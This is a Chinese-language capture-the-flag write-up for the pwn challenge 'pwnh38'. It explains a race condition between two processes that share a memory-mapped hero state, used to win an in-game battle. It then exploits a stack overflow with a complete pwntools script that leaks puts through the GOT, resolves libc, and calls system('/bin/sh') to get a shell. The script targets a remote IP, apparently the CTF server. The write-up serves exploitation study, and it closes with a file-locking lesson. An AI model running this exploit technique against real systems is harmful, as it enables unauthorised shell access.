首先,检查一下程序的保护机制,很好
然后,我们用IDA分析,发现一个很明显的栈溢出漏洞
但是,要想执行这个漏洞函数,就必须打赢游戏
而,要打赢游戏,就是让*(_DWORD *)(gMonster + 8)的值小于等于0,也就是Host的Surplus要小于等于0
然后,我们看到这里有一个修改(gMonster + 8)值的地方
也就是Host和Hero互相攻击,消减对方的生命值,我们继续分析,发现gHero指向的是一个内存映射出来的区域
那么,假如我们同时运行两个该程序的进程,并且**[登录同一个用户名,那么,它们的gHero是同一个内存区域,那么,gHero就叠加了两种技能]{.mark}**,于是就可以打败BOSS。执行漏洞函数,getshell
我们可以这样
1 2 3 4
| 1. change_skill(io1, 3) 2. attack(io1) 3. change_skill(io2,1) 4. use_hide(io1, 1)
|
如上代码,io1使用技能3,会导致双方的生命值都增加,当我们使用技能3 attack时,[当出现use hiden_methods?(1:yes/0:no)选择时,我们通过io2来改变gHero的技能,使得执行后面的代码时,gHero的生命值增加,gMonster的生命值递减]{.mark},这样,我们就能赢得游戏
也就是说,在read_int()阻塞io1时,我们通过io2改变了gHero的相关属性,使得后面的代码取得的gHero数据和之前不一致。
程序使用了类似于虚表的东西来实现不同技能,从不同的地方取数据,感兴趣的同学可以仔细跟踪一下几个技能,分别对应的数据在哪,然后找到让gHero技能递增,gMonster递减的攻击模式。我们上述的是一种攻击方法,可能还会有其他攻击方法。
打赢了游戏,就是一个简单的栈溢出漏洞,直接利用即可。
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| 1. 2. from pwn import * 3. from LibcSearcher import * 4. 5. debug = 1 6. 7. if debug: 8. io1 = process('./pwnh38') 9. io2 = process('./pwnh38') 10. else: 11. addr = '111.198.29.45' 12. port = 59829 13. io1 = remote(addr,port) 14. io2 = remote(addr,port) 15. 16. elf = ELF('./pwnh38') 17. puts_plt = elf.plt['puts'] 18. puts_got = elf.got['puts'] 19. vul_func = elf.sym['vul_func'] 20. 21. def login(io, name): 22. io.sendlineafter("login:", name) 23. 24. def attack(io): 25. io.sendlineafter("choice>> ","1") 26. 27. def use_hide(io, choice): 28. io.sendlineafter("(1:yes/0:no):",str(choice)) 29. 30. def change_skill(io, choice): 31. io.sendlineafter("choice>> ","3") 32. io.sendlineafter("choice>> ", str(choice)) 33. 34. def god_attack(io1, io2): 35. change_skill(io1, 3) 36. attack(io1) 37. change_skill(io2,1) 38. use_hide(io1, 1) 39. def pwn(io1, io2): 40. login(io1, "test\n") 41. login(io2, "test\n") 42. while True: 43. god_attack(io1, io2) 44. data = io1.recvuntil("\n") 45. if "you win" in data: 46. data = io1.recvuntil("\n") 47. if "remember you forever!" in data: 48. break 49. 50. payload = 'a'*0x4C + p32(puts_plt) + p32(vul_func) + p32(puts_got) 51. io1.sendlineafter('name:',payload) 52. io1.recvuntil('\n') 53. puts_addr = u32(io1.recv(4)) 54. 55. libc = LibcSearcher('puts',puts_addr) 56. 57. libc_base = puts_addr - libc.dump('puts') 58. system_addr = libc_base + libc.dump('system') 59. binsh_addr = libc_base + libc.dump('str_bin_sh') 60. 61. payload = 'a'*0x4C + p32(system_addr) + p32(0) + p32(binsh_addr) 62. io1.sendlineafter('name:',payload) 63. 64. pwn(io1, io2) 65. io1.interactive() 66.
|
本题告诉我们,[对于程序中使用文件时,应该加类似于锁的东西,使得当前程序获得文件的所有权后,其他的不能在那个程序运行期间获得文件的所有权。]{.mark}